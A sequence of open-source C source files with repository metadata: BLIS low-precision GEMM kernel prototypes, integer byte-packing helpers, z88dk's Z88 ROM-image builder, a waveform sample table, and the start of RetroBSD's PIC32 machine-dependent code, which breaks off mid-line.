LPGEMM_N_FRINGE_KERN(float,float,float,f32f32f32of32_6x8m); LPGEMM_N_FRINGE_KERN(float,float,float,f32f32f32of32_6x4m); LPGEMM_N_FRINGE_KERN(float,float,float,f32f32f32of32_6x2m); LPGEMM_N_FRINGE_KERN(float,float,float,f32f32f32of32_6x1m); LPGEMM_N_FRINGE_KERN(int8_t,int8_t,int32_t,s8s8s32os32_6x16); LPGEMM_N_FRINGE_KERN(int8_t,int8_t,int32_t,s8s8s32os32_6x32); LPGEMM_N_FRINGE_KERN(int8_t,int8_t,int32_t,s8s8s32os32_6x48); LPGEMM_N_FRINGE_KERN(int8_t,int8_t,int16_t,s8s8s16o16_6x16); #define LPGEMM_N_LT_NR0_FRINGE_KERN(A_type,B_type,C_type,LP_SFX) \ void lpgemm_rowvar_ ## LP_SFX \ ( \ const dim_t m0, \ const dim_t k0, \ const A_type* a, \ const dim_t rs_a, \ const dim_t cs_a, \ const dim_t ps_a, \ const B_type* b, \ const dim_t rs_b, \ const dim_t cs_b, \ C_type* c, \ const dim_t rs_c, \ const C_type alpha, \ const C_type beta, \ const dim_t n0_rem, \ lpgemm_post_op* post_ops_list, \ lpgemm_post_op_attr post_ops_attr \ ) \ LPGEMM_N_LT_NR0_FRINGE_KERN(uint8_t,int8_t,int32_t,u8s8s32o32_6xlt16); LPGEMM_N_LT_NR0_FRINGE_KERN(uint8_t,int8_t,int32_t,u8s8s32o32_12xlt16); LPGEMM_N_LT_NR0_FRINGE_KERN(uint8_t,int8_t,int16_t,u8s8s16o16_6xlt16); LPGEMM_N_LT_NR0_FRINGE_KERN(bfloat16,bfloat16,float,bf16bf16f32of32_6xlt16); LPGEMM_N_LT_NR0_FRINGE_KERN(int8_t,int8_t,int32_t,s8s8s32os32_6xlt16); LPGEMM_N_LT_NR0_FRINGE_KERN(int8_t,int8_t,int16_t,s8s8s16o16_6xlt16); #define LPGEMM_MN_FRINGE_KERN(A_type,B_type,C_type,LP_SFX) \ void lpgemm_rowvar_ ## LP_SFX \ ( \ const dim_t k0, \ const A_type* a, \ const dim_t rs_a, \ const dim_t cs_a, \ const B_type* b, \ const dim_t rs_b, \ const dim_t cs_b, \ C_type* c, \ const dim_t rs_c, \ const C_type alpha, \ const C_type beta, \ lpgemm_post_op* post_ops_list, \ lpgemm_post_op_attr post_ops_attr \ ) \ LPGEMM_MN_FRINGE_KERN(uint8_t,int8_t,int32_t,u8s8s32o32_5x16); LPGEMM_MN_FRINGE_KERN(uint8_t,int8_t,int32_t,u8s8s32o32_4x16); LPGEMM_MN_FRINGE_KERN(uint8_t,int8_t,int32_t,u8s8s32o32_3x16); LPGEMM_MN_FRINGE_KERN(uint8_t,int8_t,int32_t,u8s8s32o32_2x16); LPGEMM_MN_FRINGE_KERN(uint8_t,int8_t,int32_t,u8s8s32o32_1x16); LPGEMM_MN_FRINGE_KERN(uint8_t,int8_t,int32_t,u8s8s32o32_5x32); LPGEMM_MN_FRINGE_KERN(uint8_t,int8_t,int32_t,u8s8s32o32_4x32); LPGEMM_MN_FRINGE_KERN(uint8_t,int8_t,int32_t,u8s8s32o32_3x32); LPGEMM_MN_FRINGE_KERN(uint8_t,int8_t,int32_t,u8s8s32o32_2x32); LPGEMM_MN_FRINGE_KERN(uint8_t,int8_t,int32_t,u8s8s32o32_1x32); LPGEMM_MN_FRINGE_KERN(uint8_t,int8_t,int32_t,u8s8s32o32_5x48); LPGEMM_MN_FRINGE_KERN(uint8_t,int8_t,int32_t,u8s8s32o32_4x48); LPGEMM_MN_FRINGE_KERN(uint8_t,int8_t,int32_t,u8s8s32o32_3x48); LPGEMM_MN_FRINGE_KERN(uint8_t,int8_t,int32_t,u8s8s32o32_2x48); LPGEMM_MN_FRINGE_KERN(uint8_t,int8_t,int32_t,u8s8s32o32_1x48); LPGEMM_MN_FRINGE_KERN(uint8_t,int8_t,int16_t,u8s8s16o16_4x16); LPGEMM_MN_FRINGE_KERN(uint8_t,int8_t,int16_t,u8s8s16o16_2x16); LPGEMM_MN_FRINGE_KERN(uint8_t,int8_t,int16_t,u8s8s16o16_1x16); LPGEMM_MN_FRINGE_KERN(bfloat16,bfloat16,float,bf16bf16f32of32_5x16); LPGEMM_MN_FRINGE_KERN(bfloat16,bfloat16,float,bf16bf16f32of32_4x16); LPGEMM_MN_FRINGE_KERN(bfloat16,bfloat16,float,bf16bf16f32of32_3x16); LPGEMM_MN_FRINGE_KERN(bfloat16,bfloat16,float,bf16bf16f32of32_2x16); LPGEMM_MN_FRINGE_KERN(bfloat16,bfloat16,float,bf16bf16f32of32_1x16); LPGEMM_MN_FRINGE_KERN(bfloat16,bfloat16,float,bf16bf16f32of32_5x32); LPGEMM_MN_FRINGE_KERN(bfloat16,bfloat16,float,bf16bf16f32of32_4x32); LPGEMM_MN_FRINGE_KERN(bfloat16,bfloat16,float,bf16bf16f32of32_3x32); LPGEMM_MN_FRINGE_KERN(bfloat16,bfloat16,float,bf16bf16f32of32_2x32); LPGEMM_MN_FRINGE_KERN(bfloat16,bfloat16,float,bf16bf16f32of32_1x32); LPGEMM_MN_FRINGE_KERN(bfloat16,bfloat16,float,bf16bf16f32of32_5x48); LPGEMM_MN_FRINGE_KERN(bfloat16,bfloat16,float,bf16bf16f32of32_4x48); LPGEMM_MN_FRINGE_KERN(bfloat16,bfloat16,float,bf16bf16f32of32_3x48); LPGEMM_MN_FRINGE_KERN(bfloat16,bfloat16,float,bf16bf16f32of32_2x48); LPGEMM_MN_FRINGE_KERN(bfloat16,bfloat16,float,bf16bf16f32of32_1x48); LPGEMM_MN_FRINGE_KERN(int8_t,int8_t,int32_t,s8s8s32os32_5x16); LPGEMM_MN_FRINGE_KERN(int8_t,int8_t,int32_t,s8s8s32os32_4x16); LPGEMM_MN_FRINGE_KERN(int8_t,int8_t,int32_t,s8s8s32os32_3x16); LPGEMM_MN_FRINGE_KERN(int8_t,int8_t,int32_t,s8s8s32os32_2x16); LPGEMM_MN_FRINGE_KERN(int8_t,int8_t,int32_t,s8s8s32os32_1x16); LPGEMM_MN_FRINGE_KERN(int8_t,int8_t,int32_t,s8s8s32os32_5x32); LPGEMM_MN_FRINGE_KERN(int8_t,int8_t,int32_t,s8s8s32os32_4x32); LPGEMM_MN_FRINGE_KERN(int8_t,int8_t,int32_t,s8s8s32os32_3x32); LPGEMM_MN_FRINGE_KERN(int8_t,int8_t,int32_t,s8s8s32os32_2x32); LPGEMM_MN_FRINGE_KERN(int8_t,int8_t,int32_t,s8s8s32os32_1x32); LPGEMM_MN_FRINGE_KERN(int8_t,int8_t,int32_t,s8s8s32os32_5x48); LPGEMM_MN_FRINGE_KERN(int8_t,int8_t,int32_t,s8s8s32os32_4x48); LPGEMM_MN_FRINGE_KERN(int8_t,int8_t,int32_t,s8s8s32os32_3x48); LPGEMM_MN_FRINGE_KERN(int8_t,int8_t,int32_t,s8s8s32os32_2x48); LPGEMM_MN_FRINGE_KERN(int8_t,int8_t,int32_t,s8s8s32os32_1x48); LPGEMM_MN_FRINGE_KERN(int8_t,int8_t,int16_t,s8s8s16o16_4x16); LPGEMM_MN_FRINGE_KERN(int8_t,int8_t,int16_t,s8s8s16o16_2x16); LPGEMM_MN_FRINGE_KERN(int8_t,int8_t,int16_t,s8s8s16o16_1x16); #define LPGEMM_MN_LT_NR0_FRINGE_KERN(A_type,B_type,C_type,LP_SFX) \ void lpgemm_rowvar_ ## LP_SFX \ ( \ const dim_t k0, \ const A_type* a, \ const dim_t rs_a, \ const dim_t cs_a, \ const B_type* b, \ const dim_t rs_b, \ const dim_t cs_b, \ C_type* c, \ const dim_t rs_c, \ const C_type alpha, \ const C_type beta, \ const dim_t n0_rem, \ lpgemm_post_op* post_ops_list, \ lpgemm_post_op_attr post_ops_attr \ ) \ LPGEMM_MN_LT_NR0_FRINGE_KERN(uint8_t,int8_t,int32_t,u8s8s32o32_5xlt16); LPGEMM_MN_LT_NR0_FRINGE_KERN(uint8_t,int8_t,int32_t,u8s8s32o32_4xlt16); LPGEMM_MN_LT_NR0_FRINGE_KERN(uint8_t,int8_t,int32_t,u8s8s32o32_3xlt16); LPGEMM_MN_LT_NR0_FRINGE_KERN(uint8_t,int8_t,int32_t,u8s8s32o32_2xlt16); LPGEMM_MN_LT_NR0_FRINGE_KERN(uint8_t,int8_t,int32_t,u8s8s32o32_1xlt16); LPGEMM_MN_LT_NR0_FRINGE_KERN(uint8_t,int8_t,int16_t,u8s8s16o16_4xlt16); LPGEMM_MN_LT_NR0_FRINGE_KERN(uint8_t,int8_t,int16_t,u8s8s16o16_2xlt16); LPGEMM_MN_LT_NR0_FRINGE_KERN(uint8_t,int8_t,int16_t,u8s8s16o16_1xlt16); LPGEMM_MN_LT_NR0_FRINGE_KERN(bfloat16,bfloat16,float,bf16bf16f32of32_5xlt16); LPGEMM_MN_LT_NR0_FRINGE_KERN(bfloat16,bfloat16,float,bf16bf16f32of32_4xlt16); LPGEMM_MN_LT_NR0_FRINGE_KERN(bfloat16,bfloat16,float,bf16bf16f32of32_3xlt16); LPGEMM_MN_LT_NR0_FRINGE_KERN(bfloat16,bfloat16,float,bf16bf16f32of32_2xlt16); LPGEMM_MN_LT_NR0_FRINGE_KERN(bfloat16,bfloat16,float,bf16bf16f32of32_1xlt16); LPGEMM_MN_LT_NR0_FRINGE_KERN(int8_t,int8_t,int32_t,s8s8s32os32_5xlt16); LPGEMM_MN_LT_NR0_FRINGE_KERN(int8_t,int8_t,int32_t,s8s8s32os32_4xlt16); LPGEMM_MN_LT_NR0_FRINGE_KERN(int8_t,int8_t,int32_t,s8s8s32os32_3xlt16); LPGEMM_MN_LT_NR0_FRINGE_KERN(int8_t,int8_t,int32_t,s8s8s32os32_2xlt16); LPGEMM_MN_LT_NR0_FRINGE_KERN(int8_t,int8_t,int32_t,s8s8s32os32_1xlt16); LPGEMM_MN_LT_NR0_FRINGE_KERN(int8_t,int8_t,int16_t,s8s8s16o16_4xlt16); LPGEMM_MN_LT_NR0_FRINGE_KERN(int8_t,int8_t,int16_t,s8s8s16o16_2xlt16); LPGEMM_MN_LT_NR0_FRINGE_KERN(int8_t,int8_t,int16_t,s8s8s16o16_1xlt16); #endif //BLIS_LPGEMM_KERN_H
237501fff325a019c82752549307998bc93081e1
aabc1530cff8d7ac7f90224cfa041edbb9c35d28
/vault/buf_packint.h
e8c6ad1c5bb7a67024f336be5c4a95cd3055097e
[ "Unlicense" ]
permissive
r-lyeh/tinybits
9d4e1ddb492125c140b38d98b3c0f795bdc96e40
2a735d9717c9da30fa7eb60c2cc158dee46f8d40
refs/heads/master
2023-08-29T06:01:17.399171
2022-12-26T17:10:54
2022-12-26T17:10:54
58,539,236
322
29
Unlicense
2021-01-27T19:26:12
2016-05-11T11:30:35
C
UTF-8
C
false
false
1,649
h
buf_packint.h
// int packing ----------------------------------------------------------------- // - rlyeh, public domain #pragma once #include <string.h> // pack16i() -- store a 16-bit int into a char buffer (like htons()) // pack32i() -- store a 32-bit int into a char buffer (like htonl()) // pack64i() -- store a 64-bit int into a char buffer (like htonl()) static void pack16i(uint8_t *buf, uint16_t i, int swap) { if( swap ) i = bswap16(i); memcpy( buf, &i, sizeof(i) ); } static void pack32i(uint8_t *buf, uint32_t i, int swap) { if( swap ) i = bswap32(i); memcpy( buf, &i, sizeof(i) ); } static void pack64i(uint8_t *buf, uint64_t i, int swap) { if( swap ) i = bswap64(i); memcpy( buf, &i, sizeof(i) ); } // unpack16i() -- unpack a 16-bit int from a char buffer (like ntohs()) // unpack32i() -- unpack a 32-bit int from a char buffer (like ntohl()) // unpack64i() -- unpack a 64-bit int from a char buffer (like ntohl()) // changes unsigned numbers to signed if needed. static int16_t unpack16i(const uint8_t *buf, int swap) { uint16_t i; memcpy(&i, buf, sizeof(i)); if( swap ) i = bswap16(i); return i <= 0x7fffu ? (int16_t)i : -1 -(uint16_t)(0xffffu - i); } static int32_t unpack32i(const uint8_t *buf, int swap) { uint32_t i; memcpy(&i, buf, sizeof(i)); if( swap ) i = bswap32(i); return i <= 0x7fffffffu ? (int32_t)i : -1 -(int32_t)(0xffffffffu - i); } static int64_t unpack64i(const uint8_t *buf, int swap) { uint64_t i; memcpy(&i, buf, sizeof(i)); if( swap ) i = bswap64(i); return i <= 0x7fffffffffffffffull ? (int64_t)i : -1 -(int64_t)(0xffffffffffffffffull - i); }
b01397523b650492fad8b1610a6199cdfa26421b
7f6c235b0598353549959c18f69eefd20b766907
/src/appmake/z88.c
48f3df411e27a93a97bc98f521a2859d4cf921e5
[ "ClArtistic" ]
permissive
z88dk/z88dk
46dfd4905f36d99333173cadd0a660839befc9f0
8b07f37cc43c5d9ffe69b563c80763491d8faff7
refs/heads/master
2023-09-04T19:29:49.254958
2023-09-03T20:51:24
2023-09-03T20:51:24
54,035,569
820
263
NOASSERTION
2023-09-05T11:09:04
2016-03-16T13:48:16
Assembly
UTF-8
C
false
false
12,119
c
z88.c
/* * Wonderful routine to create a Z88 application * * z88app [binary file] [startup file] [-nt] * * djm 2/4/99 - A very, very quick knock up! * * Application ID number is generated from time() * - if you have a better automatic algorithm let me know! * * djm 12/4/99 * Thanks Dennis! The ROM header was being generated two bytes * lower than it should've been..ooops, and oops again! * * djm 26/4/99 * Implemented some other changes suggested by Dennis, we now * change the suffix for output files, hence default output * will be a.63, a.62 etc * Also added some condition Win/Dos stuff * * djm 28/4/99 * If zorg != page boundary then we save only from zorg upwards * (request from DG) * * dg 17/5/99 * Changes to make more MSDOS friendly * * djm 12/1/2000 * Add option to disallow page truncation * * $Id: z88.c,v 1.13 2016-10-09 18:44:47 pauloscustodio Exp $ */ #include "appmake.h" #define MAX_ADDR 65472 struct romheader { /* Front DOR */ char parent[3]; char brother[3]; char son[3]; char dortype; char dorlen; char key; char namelen; char name[5]; char termin; char spacer[37]; /* Card header */ char cardid[4]; char cardsize; char subtype; char header[2]; }; /* * Default stuff at the top of the DOR, this is 10 bytes long */ static unsigned char appldef[]={ 19, 8 , 'N', 5 , 'A','P','P','L',0,255 }; static char *binname = NULL; static char *crtfile = NULL; static char *outfile = NULL; static char c_installer = 0; static char help = 0; static unsigned char *memory; /* Pointer to Z80 memory */ static long zorg; /* Origin of compiler program */ /* Options that are available for this module */ option_t z88_options[] = { { 'h', "help", "Display this help", OPT_BOOL, &help}, { 'b', "binfile", "Linked binary file", OPT_STR, &binname }, { 'c', "crt0file", "crt0 file used in linking", OPT_STR, &crtfile }, { 'o', "output", "Name of output file", OPT_STR, &outfile }, { 0, "installer","Generate installer files", OPT_BOOL, &c_installer }, { 0, NULL, NULL, OPT_NONE, NULL } }; /* Prototypes for our functions */ static void SaveBank(unsigned offset, char *base, char *ext); static void SaveBlock(unsigned char *buffer, unsigned offset, size_t length, char* base, char* ext); #define get_dor_parameter(variable, name) do { \ variable = parameter_search(crtfile,".map",name); \ if ( variable == -1 ) { \ exit_log(1,"Could not find parameter %s - no app dor present\n"); \ } \ } while(0) /* * Execution starts here */ int z88_exec(char* target) { int pages; /* size of card in banks */ long indor; /* address of app dor */ long in_dor_seg_setup; /* address of seg bindings */ long in_dor_reqpag; long in_dor_safedata; long in_dor_app_type; long crt0_reqpag_check; long crt0_reqpag_check1; long application_dor_entrypoint; FILE* binfile; /* Read in bin file */ long filesize; struct romheader* hdr; /* Pointer to ROM DOR */ int appdorpg; /* Page where app DOR is */ int appdoroff; /* Offset of where the app DOR is */ int readlen; /* Amount read in */ time_t cardidno; /* Card ID number - construct randomly */ int reqpag = 0; int safedata = 0; if (help) return -1; if (binname == NULL || crtfile == NULL) { return -1; } if (outfile == NULL) outfile = binname; zorg = get_org_addr(crtfile); if (zorg == -1) exit_log(1, "Could not find parameter ZORG (compiled as BASIC?)\n"); get_dor_parameter(indor, "in_dor"); get_dor_parameter(in_dor_seg_setup, "in_dor_seg_setup"); get_dor_parameter(application_dor_entrypoint, "application_dor_entrypoint"); get_dor_parameter(in_dor_reqpag, "in_dor_reqpag"); get_dor_parameter(in_dor_safedata, "in_dor_safedata"); get_dor_parameter(in_dor_app_type, "in_dor_app_type"); crt0_reqpag_check = parameter_search(crtfile, ".map", "crt0_reqpag_check"); if (crt0_reqpag_check == -1) exit_log(1, "Could not find parameter crt0_reqpag_check - no app crt present\n"); crt0_reqpag_check1 = parameter_search(crtfile, ".map", "crt0_reqpag_check1"); safedata = parameter_search(crtfile, ".map", "__crt_z88_safedata"); if (safedata == -1) exit_log(1, "Could not find parameter __crt_z88_safedata - no app crt present\n"); reqpag = parameter_search(crtfile, ".map", "CRT_Z88_BADPAGES"); if (reqpag == -1) { int asmtail = parameter_search(crtfile, ".map", "__BSS_END_tail"); if (asmtail == -1) { exit_log(1, "reqpag isn't defined and can't find the end of the BSS segment\n"); } reqpag = 0; /* If we've only got one byte then we don't need to set reqpag */ if (asmtail > 0x2001) { reqpag = ((asmtail - 0x2000) / 256) + 1; } } pages = ((65536L - (long)(zorg + 1)) / 16384L); pages++; if (pages == 4) { fputs("Four segments needed for this program - you may have some problems\n", stderr); fputs("running this beast - try and cut it down a little bit!!\n", stderr); } /* * Allocate some memory */ memory = calloc(1, 65536L); if (memory == NULL) exit_log(1, "Can't allocate memory\n"); if ((binfile = fopen_bin(binname, crtfile)) == NULL) { exit_log(1, "Can't open binary file\n"); } if (fseek(binfile, 0, SEEK_END)) { fclose(binfile); exit_log(1, "Couldn't determine the size of the file\n"); } filesize = ftell(binfile); if (filesize > 65536L) { fclose(binfile); exit_log(1, "The source binary is over 65,536 bytes in length.\n"); } fseek(binfile, 0, SEEK_SET); /* Check to see if we will infringe on the ROM header, if not then load it in */ if (zorg + filesize <= MAX_ADDR) { readlen = fread(memory + zorg, 1, filesize, binfile); if (filesize != readlen) { fclose(binfile); exit_log(1, "Couldn't read in binary file\n"); } } else { fclose(binfile); exit_log(1, "Binary file too large! Change the org! Origin=%d, program size=%d - %d bytes too large\n",zorg,filesize,labs(MAX_ADDR - zorg - filesize)); } fclose(binfile); if ( reqpag && ((memory[in_dor_app_type] & 31) == 1 || (memory[in_dor_app_type]&31) == 8 )) { printf("App needs %d of bad memory, but is %s - app won't start correctly\n",reqpag, (memory[in_dor_app_type]&31) == 1 ? "AT_GOOD" : "AT_POPD"); } else { printf("App will use %d pages of bad memory\n", reqpag); } /* We've read it in, so now construct the ROM header */ hdr = (struct romheader*)(memory + MAX_ADDR); /* Try to create some sort of unique card id number */ cardidno = time(NULL); hdr->cardid[0] = (cardidno % 256) & 127; hdr->cardid[1] = (cardidno / 256) & 127; hdr->cardid[2] = (cardidno % 65536) & 127; hdr->cardid[3] = (cardidno / 65336) | 128; hdr->cardsize = (char)pages; hdr->subtype = 0; hdr->header[0] = 'O'; hdr->header[1] = 'Z'; memcpy(&hdr->dortype, appldef, 10); /* Now, deal with the dor address */ appdorpg = 63 - ((65536L - (long)(indor + 1)) / 16384L); appdoroff = indor & 16383; hdr->son[0] = appdoroff % 256; hdr->son[1] = appdoroff / 256; hdr->son[2] = appdorpg; /* Now, set up the needed pages in the app DOR */ switch (pages) { case 4: *(memory + in_dor_seg_setup ) = (char)60; case 3: *(memory + in_dor_seg_setup + 1) = (char)61; case 2: *(memory + in_dor_seg_setup + 2) = (char)62; case 1: *(memory + in_dor_seg_setup + 3) = (char)63; } *(memory + in_dor_reqpag ) = reqpag ? (reqpag < 32 ? 32 : reqpag) : 0; *(memory + crt0_reqpag_check + 1) = reqpag; if (crt0_reqpag_check1 != -1) { *(memory + crt0_reqpag_check1 + 2) = reqpag + 0x20; } printf("Safe data is %d\n", safedata); *(memory + in_dor_safedata ) = safedata % 256; *(memory + in_dor_safedata + 1) = safedata / 256; /* Application enquire entry point. * If we need no bad memory or we have more than 32 pages or we have amalloc * enabled then we can't return anything */ if (reqpag == 0 || reqpag > 32 || crt0_reqpag_check1 != -1) { *(memory + application_dor_entrypoint + 3) = 0x37; /* scf */ *(memory + application_dor_entrypoint + 4) = 0xc9; /* ret */ } else { // TODO: We should correct the application type /* ld bc, start, ld bc, end, and a, ret */ *(memory + application_dor_entrypoint + 3) = 0x01; /* ld bc,nnnn */ *(memory + application_dor_entrypoint + 4) = (8192 + reqpag) % 256; *(memory + application_dor_entrypoint + 5) = (8192 + reqpag) / 256; *(memory + application_dor_entrypoint + 6) = 0x11; /* ld de,nnnn nnnn=16384*/ *(memory + application_dor_entrypoint + 7) = 0x00; *(memory + application_dor_entrypoint + 8) = 0x40; *(memory + application_dor_entrypoint + 9) = 0xa7; /* and a */ *(memory + application_dor_entrypoint + 10) = 0xc9; /* ret */ } /* Okay, now thats done, we have to save the image as banks.. */ if (pages == 4) { SaveBank(0, outfile, ".60"); if (c_installer) SaveBank(0, outfile,".ap3"); } if (pages >= 3) { SaveBank(16384, outfile, ".61"); if (c_installer) SaveBank(16384, outfile,".ap2"); } if (pages >= 2) { SaveBank(32768, outfile, c_installer ? ".ap1" : ".62"); if (c_installer) SaveBank(32768, outfile,".ap1"); } SaveBank(49152, outfile, ".63"); SaveBank(49152, outfile, ".ap0"); // Save a .epr version as well SaveBlock( memory, 65536 - (( pages == 1 ? 2 : pages) * 16384), ( pages == 1 ? 2 : pages) * 16384, outfile, ".epr"); if (c_installer ) { // Generate a .app file unsigned char *header = calloc(40, sizeof(char)); unsigned char *ptr = header; int i; memset(ptr, 0, 40); ptr[0] = 0xa5; ptr[1] = 0x5a; ptr[2] = pages; ptr[3] = 0x00; ptr = header + 10; for ( i = 0 ; i < pages; i++ ) { *ptr++ = 0x00; *ptr++ = 0x40; ptr += 2; } SaveBlock(header, 0, 40, outfile, ".app"); // OZ5 format now { int len = 40; int blocklen; header[3]= 0xff; // Indicate compressed for ( i = 0 ; i < pages; i++ ) { // Compress unsigned char *comp = LZ49_encode(memory + ( 49152 - i*16384), 16384, &blocklen); header = realloc(header, len + blocklen); memcpy(header + len, comp, blocklen); len += blocklen; free(comp); // Adjust the header so it contains the length of the compressed block header[10 + (i * 4) + 0] = blocklen % 256; header[10 + (i * 4) + 1] = blocklen / 256; } SaveBlock(header, 0, len, outfile, ".a5p"); } free(header); } return 0; } static void SaveBank(unsigned offset, char *base, char *ext) { SaveBlock(memory,offset, 16384, base, ext); } static void SaveBlock(unsigned char *buffer, unsigned offset, size_t length, char *base, char* ext) { char name[FILENAME_MAX + 1]; FILE* fp; strcpy(name, base); suffix_change(name, ext); if ((fp = fopen(name, "wb")) == NULL) { exit_log(1, "Can't open output file %s\n", name); } if (fwrite(buffer + offset, 1, length, fp) != length) { exit_log(1, "Can't write to output file %s\n", name); } fclose(fp); }
54684f3e306d7d1ea7c7b5814b8896d380022b06
f3eed0234b4d0ad2bbb2abd700cf1e2c7a0e8a1d
/AKWF-c/AKWF_bw_squ/AKWF_squ_0044.h
51573ff2af876b3199d9f930c643889d90d4dfde
[ "CC0-1.0" ]
permissive
KristofferKarlAxelEkstrand/AKWF-FREE
b2defa1a2d389d309be6dd2e9f968923daf80d1b
cf8171df36e9fec25416b5f568b72a6e2cb69194
refs/heads/master
2023-07-23T18:22:36.939705
2023-07-10T17:14:40
2023-07-10T17:14:40
145,817,187
359
59
CC0-1.0
2023-07-10T17:14:41
2018-08-23T07:26:56
null
UTF-8
C
false
false
4,680
h
AKWF_squ_0044.h
/* Adventure Kid Waveforms (AKWF) converted for use with Teensy Audio Library * * Adventure Kid Waveforms(AKWF) Open waveforms library * https://www.adventurekid.se/akrt/waveforms/adventure-kid-waveforms/ * * This code is in the public domain, CC0 1.0 Universal (CC0 1.0) * https://creativecommons.org/publicdomain/zero/1.0/ * * Converted by Brad Roy, https://github.com/prosper00 */ /* AKWF_squ_0044 256 samples +-----------------------------------------------------------------------------------------------------------------+ |***** | |* **** | |* ** | | * | | * | | * | | * | | * | | * | | * | | * | | * | | * *****************************************| | * ************************************ | | * ********************* | +-----------------------------------------------------------------------------------------------------------------+ */ const uint16_t AKWF_squ_0044 [] = { 34579, 56800, 65535, 63947, 64725, 63569, 63793, 62997, 62963, 62389, 62180, 61768, 61437, 61134, 60727, 60492, 60048, 59848, 59401, 59191, 58787, 58613, 56284, 33765, 23722, 26003, 24743, 25817, 25085, 25836, 25328, 25897, 25544, 25971, 25742, 26053, 25928, 26143, 26102, 26240, 26267, 26341, 26421, 26448, 26566, 26561, 26700, 26677, 26826, 26797, 26947, 26918, 27061, 27041, 27172, 27166, 27279, 27287, 27384, 27406, 27488, 27525, 27591, 27638, 27693, 27749, 27796, 27857, 27898, 27962, 28000, 28063, 28099, 28163, 28199, 28259, 28296, 28353, 28392, 28447, 28487, 28539, 28581, 28628, 28673, 28718, 28761, 28805, 28850, 28891, 28936, 28977, 29020, 29061, 29104, 29143, 29184, 29223, 29265, 29304, 29344, 29383, 29421, 29459, 29496, 29533, 29572, 29609, 29645, 29682, 29716, 29752, 29787, 29823, 29858, 29892, 29925, 29960, 29994, 30026, 30060, 30091, 30123, 30157, 30187, 30218, 30249, 30282, 30312, 30343, 30373, 30403, 30433, 30461, 30491, 30519, 30548, 30577, 30605, 30633, 30660, 30685, 30713, 30740, 30766, 30793, 30819, 30844, 30869, 30895, 30919, 30943, 30968, 30993, 31017, 31041, 31065, 31088, 31111, 31134, 31157, 31181, 31202, 31224, 31246, 31268, 31290, 31312, 31333, 31353, 31374, 31395, 31414, 31435, 31456, 31474, 31495, 31514, 31534, 31553, 31572, 31589, 31609, 31627, 31645, 31664, 31681, 31698, 31717, 31734, 31750, 31767, 31784, 31801, 31818, 31836, 31851, 31867, 31883, 31898, 31913, 31930, 31944, 31960, 31976, 31989, 32004, 32018, 32033, 32047, 32061, 32075, 32089, 32103, 32116, 32130, 32143, 32157, 32170, 32183, 32196, 32208, 32220, 32232, 32244, 32257, 32270, 32280, 32293, 32304, 32316, 32327, 32337, 32350, 32359, 32371, 32380, 32392, 32402, 32413, 32423, 32435, 32442, 32456, 32463, 32475, 32484, 32494, 32505, 32515, 32524, 32537, 32546, 32555, 32578, 32567, };
05ca6e220be91499df0ba7c534a5cab4c02ac9bb
c26d7b0ed875357278e61627da2da0650da77986
/sys/pic32/machdep.c
cfe8acc6bb028297b5f197ad60173084ad35447c
[ "BSD-3-Clause" ]
permissive
RetroBSD/retrobsd
5343d9e3c424637fc3ad5b03fe720b2744490025
486f81f6abff01c7dcc207235cd2979b226a95ff
refs/heads/master
2023-09-02T23:12:05.110883
2023-07-07T18:41:40
2023-07-07T18:41:40
18,598,087
282
59
BSD-3-Clause
2023-07-18T07:35:36
2014-04-09T13:25:46
C
UTF-8
C
false
false
28,208
c
machdep.c
/* * Copyright (c) 1986 Regents of the University of California. * All rights reserved. The Berkeley software License Agreement * specifies the terms and conditions for redistribution. */ #include <sys/param.h> #include <sys/dir.h> #include <sys/inode.h> #include <sys/user.h> #include <sys/proc.h> #include <sys/fs.h> #include <sys/map.h> #include <sys/buf.h> #include <sys/file.h> #include <sys/clist.h> #include <sys/callout.h> #include <sys/reboot.h> #include <sys/msgbuf.h> #include <sys/namei.h> #include <sys/mount.h> #include <sys/systm.h> #include <sys/kconfig.h> #include <sys/tty.h> #include <machine/uart.h> #include <machine/usb_uart.h> #ifdef UARTUSB_ENABLED # include <machine/usb_device.h> # include <machine/usb_function_cdc.h> #endif #ifdef POWER_ENABLED extern void power_init(); extern void power_off(); #endif #ifdef LED_TTY_INVERT #define LED_TTY_ON() LAT_CLR(LED_TTY_PORT) = 1 << LED_TTY_PIN #define LED_TTY_OFF() LAT_SET(LED_TTY_PORT) = 1 << LED_TTY_PIN #else #define LED_TTY_ON() LAT_SET(LED_TTY_PORT) = 1 << LED_TTY_PIN #define LED_TTY_OFF() LAT_CLR(LED_TTY_PORT) = 1 << LED_TTY_PIN #endif #ifdef LED_DISK_INVERT #define LED_DISK_ON() LAT_CLR(LED_DISK_PORT) = 1 << LED_DISK_PIN #define LED_DISK_OFF() LAT_SET(LED_DISK_PORT) = 1 << LED_DISK_PIN #else #define LED_DISK_ON() LAT_SET(LED_DISK_PORT) = 1 << LED_DISK_PIN #define LED_DISK_OFF() LAT_CLR(LED_DISK_PORT) = 1 << LED_DISK_PIN #endif #ifdef LED_KERNEL_INVERT #define LED_KERNEL_ON() LAT_CLR(LED_KERNEL_PORT) = 1 << LED_KERNEL_PIN #define LED_KERNEL_OFF() LAT_SET(LED_KERNEL_PORT) = 1 << LED_KERNEL_PIN #else #define LED_KERNEL_ON() LAT_SET(LED_KERNEL_PORT) = 1 << LED_KERNEL_PIN #define LED_KERNEL_OFF() LAT_CLR(LED_KERNEL_PORT) = 1 << LED_KERNEL_PIN #endif #ifdef LED_SWAP_INVERT #define LED_SWAP_ON() LAT_CLR(LED_SWAP_PORT) = 1 << LED_SWAP_PIN #define LED_SWAP_OFF() LAT_SET(LED_SWAP_PORT) = 1 << LED_SWAP_PIN #else #define LED_SWAP_ON() LAT_SET(LED_SWAP_PORT) = 1 << LED_SWAP_PIN #define LED_SWAP_OFF() LAT_CLR(LED_SWAP_PORT) = 1 << LED_SWAP_PIN #endif #ifdef LED_MISC1_INVERT #define LED_MISC1_ON() LAT_CLR(LED_MISC1_PORT) = 1 << LED_MISC1_PIN #define LED_MISC1_OFF() LAT_SET(LED_MISC1_PORT) = 1 << LED_MISC1_PIN #else #define LED_MISC1_ON() LAT_SET(LED_MISC1_PORT) = 1 << LED_MISC1_PIN #define LED_MISC1_OFF() LAT_CLR(LED_MISC1_PORT) = 1 << LED_MISC1_PIN #endif #ifdef LED_MISC2_INVERT #define LED_MISC2_ON() LAT_CLR(LED_MISC2_PORT) = 1 << LED_MISC2_PIN #define LED_MISC2_OFF() LAT_SET(LED_MISC2_PORT) = 1 << LED_MISC2_PIN #else #define LED_MISC2_ON() LAT_SET(LED_MISC2_PORT) = 1 << LED_MISC2_PIN #define LED_MISC2_OFF() LAT_CLR(LED_MISC2_PORT) = 1 << 